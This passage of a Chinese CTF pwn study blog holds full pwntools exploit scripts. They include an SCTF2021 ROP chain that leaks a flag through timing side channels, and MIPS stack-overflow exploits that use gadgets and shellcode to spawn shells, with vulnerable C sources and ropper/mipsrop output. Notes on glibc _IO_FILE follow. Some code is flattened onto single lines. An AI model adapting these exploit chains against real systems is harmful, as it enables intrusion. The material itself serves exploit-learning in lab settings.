35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import time
context.arch='amd64'
flag=''
'''
0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401733 : pop r15 ; pop rbp ; ret
0x0000000000401001 : pop rax ; ret
0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401102 : pop rbp ; ret
0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040117b : pop rcx ; ret
0x0000000000401734 : pop rdi ; pop rbp ; ret
0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401002 : ret
0x0000000000402c04: mov rsi, r15; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret;
x0000000000401102: pop rbp; ret;
0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret;
0x0000000000401001: pop rax; ret;
0x00000000004011f3: int 0x80; ret;
0x0000000000403072: pop rbx; pop r14; pop r15; pop rbp; ret;
0x000000000040117b: pop rcx; ret;
0x0000000000408865: syscall; ret;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;
0x00000000004011c5 : push rsi ; ret
'''

push_rsi_ret=0x00000000004011c5
alarm = 0x40115D
sys_ret=0x0000000000408865
pop_rcx=0x000000000040117b
pop_rbx_r14_r15_rbp=0x0000000000403072
int80_ret=0x00000000004011f3
retfq = 0x4011ec
bss_base=0x40c000+0x1000
pop_rax=0x0000000000401001
pop_rdi_rbp=0x0000000000401734
pop_rsi_r15_rbp=0x0000000000401732
pop_rbp=0x0000000000401102
sys_read=0x40119A
pop_r12_r14_r15_rbp=0x000000000040172f
mov_rsi_rdx_call_r14=0x0000000000402c04
pop_rsp_mov_edi=0x0000000000409d1c
ret=0x0000000000401002
pop_rax=0x0000000000401001
def pwn(num):
sh=process('./gadget')
gdb.attach(sh,"b *0x0000000000409d1c")
#part1 stack&read
payload='a'*0x38+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(0)+p64(bss_base)
payload+=p64(pop_r12_r14_r15_rbp)+p64(0x300)+p64(sys_read)+p64(bss_base)+p64(bss_base)
payload+=p64(mov_rsi_rdx_call_r14)+p64(pop_rsp_mov_edi)+p64(bss_base+0x8)
sh.send(payload)
sleep(1)
#part2 retf&open&read
payload='./flag\x00\x00'+p64(retfq)+p64(ret)+p64(0x23)
payload+=p32(pop_rax)+p32(5)+p32(pop_rbx_r14_r15_rbp)+p32(bss_base)*4
payload+=p32(pop_rcx)+p32(0)+p32(int80_ret)+p32(retfq)+p32(ret)
payload+=p32(0x33)+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(3)+p64(bss_base)
payload+=p64(sys_ret)+p64(pop_rdi_rbp)+p64(0)*2+p64(pop_rsi_r15_rbp)
payload+=p64(bss_base+1+num)*2+p64(bss_base+8+num)+p64(pop_rax)+p64(0)+p64(sys_ret)+p64(pop_rsp_mov_edi)+p64(bss_base+8+num)
paylaod=payload.ljust(0x300,'\x00')
sh.send(payload)
sleep(1)
#part3 alarm
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2
payload+=p64(push_rsi_ret)
sh.send(payload)
start=time.time()
try:
sh.recv()
except:
end=time.time()
asc=int(end-start)
global flag
flag+=chr(asc)
print flag

if __name__ == "__main__":
for i in range(30):
pwn(i)

运行效果(跑了快一个小时)

image-20220119231414100

image-20220119231430907

拼接得到flag

工具介绍–ropper

专门用来找gadget的工具,大部分时间比ROPgadget好用

启动并载入程序

1
2
3
4
5
6
rootzhang@ubuntu:~/get-shell/sctf2021/gadget$ ropper
(ropper)> file ./gadget
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.

搜索的时候可以直接搜自己想要的gadget,也可以使用search+gadget,模糊搜索的时候可以使用?,如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[INFO] Searching for gadgets: pop rdi
[INFO] File: ./gadget
0x0000000000407464: pop rdi; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0x59be;
0x0000000000402be4: pop rdi; jmp rax;
0x0000000000409db1: pop rdi; mov eax, 0xca; xor esi, esi; xor r10d, r10d; syscall;
0x0000000000401734: pop rdi; pop rbp; ret;
(gadget/ELF/x86_64)> search pop r?i
[INFO] Searching for gadgets: pop r?i
[INFO] File: ./gadget
0x0000000000407464: pop rdi; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0x59be;
0x0000000000402be4: pop rdi; jmp rax;
0x0000000000409db1: pop rdi; mov eax, 0xca; xor esi, esi; xor r10d, r10d; syscall;
0x0000000000401734: pop rdi; pop rbp; ret;
0x0000000000407ca5: pop rsi; mov eax, 0xca; mov rdi, r9; syscall;
0x0000000000402be2: pop rsi; pop r15; jmp rax;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;

总结

寻找gadget

思路一般大家都能想到,但在不能shellcode的话最重要的就是寻找合适的gadget来构造攻击链了。gadget一般是利用栈进行值的传递然后调用函数,根据这个特性我把gadget分为四类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
第一类利用pop传值
(gadget/ELF/x86_64)> search pop|ret
[INFO] Searching for gadgets: pop|ret

[INFO] File: ./gadget
0x000000000040288d: pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
0x000000000040172f: pop r12; pop r14; pop r15; pop rbp; ret;
0x000000000040288f: pop r13; pop r14; pop r15; pop rbp; ret;
0x0000000000402be1: pop r14; pop r15; jmp rax;

第二类利用mov传值(这道题就用到了)
(gadget/ELF/x86_64)> search mov|ret
[INFO] Searching for gadgets: mov|ret

[INFO] File: ./gadget
0x0000000000404cbb: mov ah, 0x86; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0x8cbe;
0x000000000040150c: mov ah, 0x8a; push rbp; fdivrp st(6); ret 0xf01;
0x00000000004020f9: mov al, 0x40; add byte ptr [rsi + 0x8002], bh; syscall;
0x000000000040213e: mov al, 0x94; je 0x2151; mov byte ptr [rbx + 0xb2353d], 0; or cl, byte ptr [rdi]; pushfq; ret 0x43bf;

第三类利用寄存器加call函数调用
(gadget/ELF/x86_64)> search call r??
[INFO] Searching for gadgets: call r??
[INFO] File: ./gadget
0x0000000000402c0a: call r14; mov edi, eax; call 0x1010; ret;
0x0000000000402c0b: call rsi;
0x0000000000402c0b: call rsi; mov edi, eax; call 0x1010; ret;
第四类系统调用,一般形式是syscall;ret 或者int80;ret
x0000000000401165: syscall; pop rbp; ret;
0x0000000000408865: syscall; ret;
(gadget/ELF/x86_64)> search int 0x80
[INFO] Searching for gadgets: int 0x80

[INFO] File: ./gadget
0x00000000004011f3: int 0x80;
0x00000000004011f3: int 0x80; ret;

rop的时候就搜索这四类就好了。

不利用alarm进行侧信道爆破

在单线程的情况下使用alarm进行侧信道爆破十分之慢,上面我写的那个脚本要跑出全部的flag大概需要快一个小时,尝试跑了一下别人的利用gadget进行爆破速度快多了,所以打算学习一波。

侧信道的精髓就是不同的比较结果会影响程序流,我么可以使用脚本探测程序流的状况,从而达到推测比价结果得到flag。

问了ayoung佬他的gadget,在初期理解上出现了一点问题,我一直没搞懂cmp以后的比较结果到底体现在哪里,动态调试以后才搞懂体现在cmovnz指令上,比如

1
2
3
4
5
cmp     rax, [r15+38h]
mov eax, 0CD2CFCA4h
mov ecx, 0DF6F8009h
cmovnz eax, ecx
jmp loc_409269

当cmp不相等的时候ecx传值给eax,相等的时候不传值,这两个寄存器对后面的程序流有影响,相等的时候程序陷入循环,不相等的时候程序报错退出可以用recv()对程序状态进行检测。

我的脚本是基于我原先脚本修改的(懒),由于改的有点问题,导致我对程序的rop控制出现了问题,多次动态调试才找见文件,哎。浪费了一下午。下面就是缝缝补补的脚本了。速度虽然快了但是成功率不是很高🤦‍♀️,应该跟我频繁的使用red函数有关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import time
context.arch='amd64'
flag=''
'''
0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401733 : pop r15 ; pop rbp ; ret
0x0000000000401001 : pop rax ; ret
0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401102 : pop rbp ; ret
0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040117b : pop rcx ; ret
0x0000000000401734 : pop rdi ; pop rbp ; ret
0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401002 : ret
0x0000000000402c04: mov rsi, r15; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret;
x0000000000401102: pop rbp; ret;
0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret;
0x0000000000401001: pop rax; ret;
0x00000000004011f3: int 0x80; ret;
0x0000000000403072: pop rbx; pop r14; pop r15; pop rbp; ret;
0x000000000040117b: pop rcx; ret;
0x0000000000408865: syscall; ret;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;
0x00000000004011c5 : push rsi ; ret
'''

push_rsi_ret=0x00000000004011c5
alarm = 0x40115D
sys_ret=0x0000000000408865
pop_rcx=0x000000000040117b
pop_rbx_r14_r15_rbp=0x0000000000403072
int80_ret=0x00000000004011f3
retfq = 0x4011ec
bss_base=0x40c000+0x1000
pop_rax=0x0000000000401001
pop_rdi_rbp=0x0000000000401734
pop_rsi_r15_rbp=0x0000000000401732
pop_rbp=0x0000000000401102
sys_read=0x40119A
pop_r12_r14_r15_rbp=0x000000000040172f
mov_rsi_rdx_call_r14=0x0000000000402c04
pop_rsp_mov_edi=0x0000000000409d1c
ret=0x0000000000401002
pop_rax=0x0000000000401001
def pwn(num,ans):
print str(num)+"==>"+chr(ans)
sh=process('./gadget')
#gdb.attach(sh,"b *0x408F72")
#part1 stack&read
payload='a'*0x38+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(0)+p64(bss_base)
payload+=p64(pop_r12_r14_r15_rbp)+p64(0x300)+p64(sys_read)+p64(bss_base)+p64(bss_base)
payload+=p64(mov_rsi_rdx_call_r14)+p64(pop_rsp_mov_edi)+p64(bss_base+0x8)
sh.send(payload.ljust(0xc0,'\x00'))
#part2 retf&open&read
payload='./flag\x00\x00'+p64(retfq)+p64(ret)+p64(0x23)
payload+=p32(pop_rax)+p32(5)+p32(pop_rbx_r14_r15_rbp)+p32(bss_base)*4
payload+=p32(pop_rcx)+p32(0)+p32(int80_ret)+p32(retfq)+p32(ret)
payload+=p32(0x33)+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(3)+p64(bss_base)
payload+=p64(sys_ret)+p64(pop_rdi_rbp)+p64(0)*2+p64(pop_rsi_r15_rbp)
payload+=p64(bss_base+1+num)*2+p64(bss_base+8+num)+p64(pop_rax)+p64(0)+p64(sys_ret)+p64(pop_rsp_mov_edi)+p64(bss_base+8+num)
payload=payload.ljust(0x300,'\x00')
sh.send(payload)
#part3 alarm
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(pop_rsi_r15_rbp)+p64(0)+p64(bss_base-0x38+num)*2
payload+=p64(pop_rax)+p64(ans)+p64(0x408F72)
sh.sendline(payload)
try:
sh.recv(timeout=1)
except:
sh.close()
return 0
else:
global flag
flag+=chr(ans)
print "flag:"+flag
sh.close()
return 1

if __name__ == "__main__":
for i in range(40):
for m in range(0x22,0x7f):
s=pwn(i,m)
if s==1:
break

mips栈溢出

mips函数调用:x86函数调用时都是把范湖地址放在栈内,函数执行完再通过返回地址执行下一条指令,mips的函数调用和x86有些像又有些不像,在mips程序中,函数分为叶子函数和非叶子函数,对应数据结构中的树,叶子函数指不在调用函数的函数,非叶子函数指函数内部又调用了其他函数的函数,两种函数对返回值的处理是不一样的,当调用叶子函数时,会直接把返回地址储存在$ra寄存器中,调用非叶子函数时,$ra储存着函数的返回地址,在函数初始部分会直接把$ra的地址入栈,当执行完这个函数时再找到地址返回对应指令。

举例一

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}

先进行编译

1
#mipsel-linux-gcc vuln -static(指静态绑定,不使用共享库)

file查看一下

1
2
rootzhang@rootzhang-virtual-machine:~/mipsshell$ file vuln
vuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped

可见成功编译

然后拖入ida查看他的汇编代码

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00400490                 addiu   $sp, -0x20
.text:00400494 sw $ra, 0x20+var_4($sp)
.text:00400498 sw $fp, 0x20+var_8($sp)
.text:0040049C move $fp, $sp
.text:004004A0 sw $a0, 0x20+arg_0($fp)
.text:004004A4 sw $a1, 0x20+arg_4($fp)
.text:004004A8 lw $v0, 0x20+arg_4($fp)
.text:004004AC addiu $v0, 4
.text:004004B0 lw $v0, 0($v0)
.text:004004B4 move $a0, $v0
.text:004004B8 jal has_stack
.text:004004BC nop
.text:004004C0 nop
.text:004004C4 move $sp, $fp
.text:004004C8 lw $ra, 0x20+var_4($sp)
.text:004004CC lw $fp, 0x20+var_8($sp)
.text:004004D0 addiu $sp, 0x20
.text:004004D4 jr $ra
.text:004004D8 nop

刚进入main函数就对$sp进行了操作,这个$sp对应x86的rsp,储存着栈底的地址,第一条指令的操作就是开辟main函数的栈帧,由于main是非叶子函数所以得把$ra压入栈,第二条指令就是执行这个操作,当main函数指令完主要部分后就会执行lw $ra, 0x20+var_4($sp)指令,这个指令就是把返回地址存入$ra中,最后jr $ra进行跳转。

程序分析

程序中对输入值没有限制就直接放入has_stack函数的栈中,而has_stack函数又是非叶子函数,栈中储存着返回地址,只要确定输入的地址和储存返回地址的地址的差值就可以对返回地址进行准确覆盖了,可以直接通过ida确定,也可以让程序跑起来再确定

尝试攻击(确定填充量)

运行加调试

1
2
3
4
#qemu-misepl -g 1234 ./vuln "aaaaa"
#gdb-multiarch ./vuln
#target remote:1234

程序就开始运行并调试起来了

调试效果

1
2
3
4
5
6
7
8
08:0020│    0x76ffef60 ◂— 'aaaaaaaa'
09:0024│ 0x76ffef64 ◂— 'aaaa'
0a:0028│ v1 0x76ffef68 ◂— 0
0b:002c│ 0x76ffef6c ◂— 0
0c:0030│ 0x76ffef70 —▸ 0x76ffef78 —▸ 0x76fff283 ◂— 'aaaaaaaaaaaaaaaa'
0d:0034│ 0x76ffef74 —▸ 0x4004c0 (main+48) ◂— 0


可见buf和ra之间差28个字节

payload

1
2
3
4
5
6
7
8
qemu-mipsel vuln `python -c "print 'a'*28+'\xb4\x03\x40\x00'"`


拿到shell
rootzhang@rootzhang-virtual-machine:~/mipsshell/stady$ qemu-mipsel vuln `python -c "print 'a'*28+'\xb4\x03\x40\x00'"`
$ ls
core pwnc.py vuln vuln.id0 vuln.id1 vuln.nam vuln.til
$

举例二

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int filelen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
{
filelen=fileData.st_size;
}
else
{
return 1;
}
if((fp=fopen("passwd","rb"))==NULL)
{
printf("cannot open file passwd!\n");
}
ch=fgetc(fp);
while(count<=filelen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else{
printf("you have an invalid password!\n");
}
fclose(fp);
}

程序分析

会打开本地的passwd文件,不对文件内容做限制直接放进buf中,而main又是非叶子函数,返回地址保存在栈中,可以直接覆盖返回地址为后门函数的地址,但是后门函数里system的参数不是固定的,是后门函数的第二个参数,第二个参数的用寄存器$a1储存,所以得在调用前对$a1赋值才行,在x86里面都是用gadget完成参数构造,在mips里面也是,不过这次是用ida查找gadget

1
Python>mipsrop.stackfinder()----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------|  0x00401F90  |  addiu $a1,$sp,0x58+var_40                           |  jr    0x58+var_4($sp)                 |----------------------------------------------------------------------------------------------------------------

这个gadget的地址是0x00401F90,通过其汇编可知可以通过栈来对$a1进行赋值,然后再 jr 0x58+var_4($sp) ,所以只要在对应位置填充对应值就行了。

攻击

本来打算把这个拖进ida直接看偏移量的,结果发现他反汇编出来的代码和源代码也相差太大了,于是放弃ida直接通过运行确定偏移量。

找到buf地址

1
pwndbg> 08:0020│  0x76ffedf8 ◂— 0x3c /* '<' */09:0024│  0x76ffedfc —▸ 0x425908 ◂— move   $t4, $zero /* 0x6025; '%`' */... ↓     2 skipped0c:0030│  0x76ffee08 ◂— 0x61616161 ('aaaa')... ↓     3 skippedpwndbg> 10:0040│  0x76ffee18 ◂— 0x61616161 ('aaaa')

储存返回地址的地址是0x76ffedd8+0x1cc,算出

1
offest=0x76ffedd8+0x1cc-0x76ffee08=0x19c

可以得到payload

1
payload='a'*0x19c+p32(gadget_addr)+'a'*0x18+'/bin/sh\x00'payload=payload.ljust(0x1a0+0x54,'a')payload=payload+p32(dock_addr)

最终脚本

1
from pwn import *gadget_addr=0x00401F90dock_addr=0x004003B0f=open("passwd","wb")payload='a'*0x19c+p32(gadget_addr)+'a'*0x18+'/bin/sh\x00'payload=payload.ljust(0x1a0+0x54,'a')payload=payload+p32(dock_addr)f.write(payload)f.close()

得到shell

1
rootzhang@rootzhang-virtual-machine:~/mipsshell/stady1$ qemu-mipsel ./vulnyou have an invalid password!$ lscore  passwd  pwnc.py  vuln  vuln.c  vuln.id0  vuln.id1  vuln.nam  vuln.til

总结:gdb-multiarch调试的时候好像不能b+函数名,不然抓不到,得确切的地址才可以。

举例三 HWX mipspwn入门题

知识补充:mips一般都是堆栈可执行的,所以只要向堆栈中放入shellcode,然后利用返回地址跳到shellcode就行了(泄露栈地址),

源码

1
int __cdecl main(int argc, const char **argv, const char **envp){  int v3; // $a2  int v5; // [sp+18h] [+18h]  setbuf(stdin, 0, envp);  setbuf(stdout, 0, v3);  printf("\x1B[33m");  puts("-----we1c0me t0 MP l0g1n s7stem-----");  v5 = sub_400840();  sub_400978(v5);  printf("\x1B[32m");  return puts("Now you getshell~");}int sub_400840(){  char v1[24]; // [sp+18h] [+18h] BYREF  memset(v1, 0, sizeof(v1));  printf("\x1B[34m");  printf("Username : ");  read(0, v1, 24);  if ( strncmp(v1, "admin", 5) )    exit(0);  printf("Correct name : %s", v1);  return strlen(v1);}int __fastcall sub_400978(int a1){  char v2[20]; // [sp+18h] [+18h] BYREF  int v3; // [sp+2Ch] [+2Ch]  char v4[36]; // [sp+3Ch] [+3Ch] BYREF  v3 = a1 + 4;  printf("\x1B[31m");  printf("Pre_Password : ");  read(0, v2, 36);  printf("Password : ");  read(0, v4, v3);  if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )    exit(0);  return puts("Correct password : **********");}

这道题漏洞比较明显,第一个函数泄露栈地址,第二个函数泄露填充shellocde然后调到这执行就行。

按道理来说这样就行了,把buf填满就能泄露处栈地址了,但是我发现我的栈地址最后是0x00,导致%s输出的时候会截断,然后我重试了很多次,发现栈地址最后都是0x00,最后破案了,我的qemu-mipsel没有开aslr,所以栈地址一直都是固定的,百度谷歌一顿查都说qemu的aslr默认关闭,但是没人告诉我怎么开,哎,那就当我泄露出来了继续做吧(反正栈地址不变)。

脚本

1
from pwn import *context(arch='mips',endian='little')io = process(["qemu-mipsel","-L","./","./pwn"])#io = process(["qemu-mipsel",'-g','1234',"-L","./","./pwn"])io.sendafter("name : ","admin".ljust(0x18,'a'))io.recvuntil("Correct name : ");sp=0x76fff000io.sendafter('Pre_Password : ',"access".ljust(20,'a')+p32(0x100))io.sendafter('Password : ','0123456789'.ljust(0x28,'a')+p32(sp)+asm(shellcraft.sh()))io.interactive()

效果

1
rootzhang@rootzhang-virtual-machine:~/mipsshell/HWS/pwn1/Mplogin/Mplogin$ python pwnc.py[+] Starting local process '/usr/bin/qemu-mipsel': pid 16096[*] Switching to interactive modeCorrect password : **********$ lscore  lib  pwn    pwnc.py  qemu_pwn_20220117-133618_15898.core

举例三 HWX mipspwn入门题二

这道题是mips大端程序,不知道为啥我的gdb-multiarch老是爆段错误,查了好半天也没查出来啥问题,我看别人调试mips大端也是我这样调试的啊,奇了怪了,本来想通过调试找到到ra的偏移量的,不过一个一个输也能找见,那就这样把,别的师傅找到离ra的偏移量是0x90,直接拿来用就行(mips环境好司马)

这道题和上道题有些像又有些不像,两道题都是直接shellcode,不过上道题直接shellcode的地址,这道题不知道,只知道shellcode离sp的偏移量,就不能直接通过ra直接跳到shellcode执行了,得通过gadget间接跳转到这里才行

ida的mipsrop

1
Python>mipsrop.stackfinder()----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------|  0x004273C4  |  addiu $a2,$sp,0x98+var_34                           |  jalr  $s0                             ||  0x0042BCD0  |  addiu $a2,$sp,0xB0+var_34                           |  jalr  $s2                             ||  0x0042FA00  |  addiu $v1,$sp,0x160+var_12C                         |  jalr  $s1                             ||  0x004491F8  |  addiu $a2,$sp,0x60+var_28                           |  jalr  $s1                             ||  0x0044931C  |  addiu $v0,$sp,0x48+var_20                           |  jalr  $s1                             ||  0x00449444  |  addiu $a2,$sp,0x60+var_28                           |  jalr  $s1                             ||  0x0044AD58  |  addiu $a1,$sp,0x78+var_40                           |  jalr  $s4                             ||  0x0044AEFC  |  addiu $a1,$sp,0x80+var_44                           |  jalr  $s5                             ||  0x0044B154  |  addiu $a1,$sp,0x80+var_4C                           |  jalr  $s2                             ||  0x0044B1EC  |  addiu $v0,$sp,0x80+var_54                           |  jalr  $s2                             ||  0x0044B3EC  |  addiu $v0,$sp,0x198+var_158                         |  jalr  $s0                             ||  0x00454E94  |  addiu $s7,$sp,0xE0+var_C0                           |  jalr  $s3                             ||  0x00465BEC  |  addiu $a1,$sp,0xE8+var_BC                           |  jalr  $s0                             |----------------------------------------------------------------------------------------------------------------

这些都是程序自带的gadget了

程序最后是这样处理s寄存器的

1
move    $sp, $fp.text:00400A30                 lw      $ra, 0x58+var_s24($sp).text:00400A34                 lw      $fp, 0x58+var_s20($sp).text:00400A38                 lw      $s7, 0x58+var_s1C($sp).text:00400A3C                 lw      $s6, 0x58+var_s18($sp).text:00400A40                 lw      $s5, 0x58+var_s14($sp).text:00400A44                 lw      $s4, 0x58+var_s10($sp).text:00400A48                 lw      $s3, 0x58+var_sC($sp).text:00400A4C                 lw      $s2, 0x58+var_s8($sp).text:00400A50                 lw      $s1, 0x58+var_s4($sp).text:00400A54                 lw      $s0, 0x58+var_s0($sp).text:00400A58                 addiu   $sp, 0x80.text:00400A5C                 jr      $ra.text:00400A60                 nop.text:00400A60  # End of function pwn

这些地方都可以溢出到,所以可以控制s0-s7的寄存器的值,那前面的那些gadget都能拿来用,我们直接使用第一个。

把shellcode存在$sp,0x98+var_34上,然后把ra覆盖成第一个gadget的地址,那就会把shellcode的地址给$a2,然后跳转到$s0执行代码,$s0是可控的,我们还可以填充一个跳转到$s2的gadget,最后就顺利执行shellcode代码了。

那怎么找第二个gadget呢,在mips中一般是通过$t9完成间接跳转的,可以在ida中这样搜索gadget

1
Python>mipsrop.find("move $t9,$a2")----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------|  0x00421684  |  move $t9,$a2                                        |  jr    $a2                             |----------------------------------------------------------------------------------------------------------------

这个gadget的意思是把$a2的值赋值给$t9,然后跳转到$a2执行代码。

思路滤好了,就可以开始着手写代码了。

1
from pwn import *context(arch='mips',endian='big',log_level='debug')io = process(["qemu-mips","./pwn"])io.sendlineafter("number:","1")ra = 0x004273C4 # move sp+0x64 to a2 -> jmp s0s0 = 0x00421684 # jmp a2                   payload = '1:'payload += 'a'*0x6c + p32(s0) + 'a'*0x20 + p32(ra)payload += 'a'*0x64 + asm(shellcraft.sh())io.sendlineafter("Job.'",payload)io.interactive()

总结:mips一般通过shellcode得到shell,跳转到shellcode不是知道地址直接跳就是通过几个gadget跳。能泄露栈地址就选第一个,不能泄露就选第二个。

最近mips给我整恶心了🤢,打算放mips先不搞mips了,先去复现一些x86的题目了。

IO_file学习(基于2.23源码学习)

io_file是一个描述有关io操作的文件结构体,当有输出和输出函数时会用到这个结构体,其代码如下

1
2
3
4
5
6
7
8
9
10
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

结构体一共有两个变量,file和vtable,其中file记录着一些数据,vtable储存着各种各样的函数指针,也叫虚表

file源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可见里面记录着各种各样的数据,其中和pwn题相关的也就几个变量

vtable源码

在 libc2.23 版本下,32 位的 vtable 相对io_file_plus偏移为 0x94,64 位偏移为 0xd8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

